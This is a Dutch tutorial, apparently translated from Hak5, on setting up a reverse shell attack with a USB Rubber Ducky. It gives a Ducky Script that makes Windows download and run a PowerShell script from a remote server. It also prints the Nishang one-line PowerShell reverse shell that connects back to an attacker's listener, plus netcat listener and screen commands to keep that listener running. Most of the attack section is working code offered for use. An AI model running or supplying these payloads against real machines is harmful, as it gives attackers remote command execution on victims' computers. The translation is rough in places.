In dit artikel wordt het opzetten van een Reverse Shell payload op een USB Rubber Ducky besproken. 

Een omgekeerde shell is een shell type, waarbij de geinfecteerde computer 'inbelt' naar de computer van een aanvaller. Hierbij luistert de aanvallende computer meestal op een specifieke poort. Wanneer de verbinding tot stand komt, is de aanvallende computer in staat om commando's op de computer van het slachtoffer uit te voeren. 

snoes

Er zijn 3 voorkomende manieren om een ​​binair bestand te injecteren in een systeem:

  1. Het downloaden van het netwerk/internet;
  2. Het kopiëren van het over massa-opslag;
  3. Het intypen van de programmacode rechtsstreeks in de computer. 

De laatste manier is een nieuwe manier om eventuele tegenmaatregelen te omzeilen. Wel kost het typen van een base64 gecodeerd bestand, dat vervolgens omgezet moet worden in een binair bestand, veel tijd. De 2 kilobyte netcat 'pay load' vergt ongeveer 20 seconden om uit te voeren.

In dit artikel gebruiken we een andere aanpak om gebruik te maken van de windows Powershell. Dit is de geavanceerde Windows command-line shell en scripting taal. Powershell werd voor het eerst geïntroduceerd in Windows XP SP2 en het is sindsdien standaard opgenomen in Windows. Het is een stuk verfijnder dan de CMD (de oude DOS-stijl opdrachtprompt).

Met behulp van powershell kunnen we een netcat 'light' reverse shell uitvoeren. Nishang, is een framework dat bestaat uit regel bestaande 'reverse shell' die terugbelt naar onze netcat listener. https://github.com/samratashok/nishang

Helaas is deze 'reverse shell payload' net iet te groot voor het maximale lengte van de 'windows run dialog'. Daarom is er we nodig hebben om de payload te op te knippen. Concreet betekend dit dat de USB Rubber Ducky, de payload zal downloaden en daarna uitvoeren. 

Het Ducky Script

DELAY 1000
GUI r
DELAY 100
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/payload.ps1');"
ENTER
server.

Hierbij wordt het gebruik van HTTPS sterk aangeraden. Zie Hak5 episode 2023 voor een video-tutorial over het opzetten van een gratis Let's Versleutel SSL-certificaat.

Deze zeer korte USB Rubber Ducky payload opent gewoon het Windows 'run dialog' venster en typt het script in en voert de code uit. Nu zal de echte power shell script worden gedownload en uitgevoerd.

De Web Server

De webserver is nodig om de powershell reverse shell code te hosten. Onderstaande TCP powersheel script van Nishang werkt geweldig:

https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1

$sm=(New-Object Net.Sockets.TCPClient("hostofnetcatlistener",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Er bestaan nog veel meer en krachtigere reverse shells scripts in de Nishang suite. Wijzig de host en poort in de code hierboven en stem deze af op je netcat listener.

De Netcat Listener

Nu ben je klaar om de Netcat Listener te configureren. Het uitvoeren van eenvoudige netcat -lp 4444 is in dit voorbeeld voldoende.

Om onze netcat listener contine te laten draaien  (zelfs nadat een shell eindigt)  brengen we eenvoudige 'bash lus' aan.

while true; do nc -l -p 4444; done

Als we dit netcat listener draaien op een VPS of een andere server, is veilig te veronderstellen dat we via een SSH verbonden zijn. Als dat het geval is, is het belangrijk dat je voorkomt dat de netcat listener stopt wanneer onze SSH sessie eindigt! We gebruiken dan ook het geheel dan ook in een 'screen session'.

screen -dmS netcat_listener bash -c 'while true; do nc -lp 4444; done'

Het bovenstaande commando maakt een vrijstaande scherm sessie,  genaamd "netcat_listener", in een bash loop aan. We kunnen dan een lijst van de beschikbare scherm sessies met het commande 'screen -list' opvragen

screen -list
There is a screen on:
	22794.netcat_listener 	(11/01/2016 03:36:01 PM)	(Detached)
1 Socket in /var/run/screen/S-dk.

We kunnen dan samenwerken met de "netcat_listener" scherm sessie met screen -r netcat_listener. Het losmaken van de scherm sessie kan met de keyboard combo CTRL + a, d worden gedaan. Zie Hak5 aflevering 818 voor meer verdieping, of bekijk deze handige scherm quick reference guide.

Bron: Hak5.org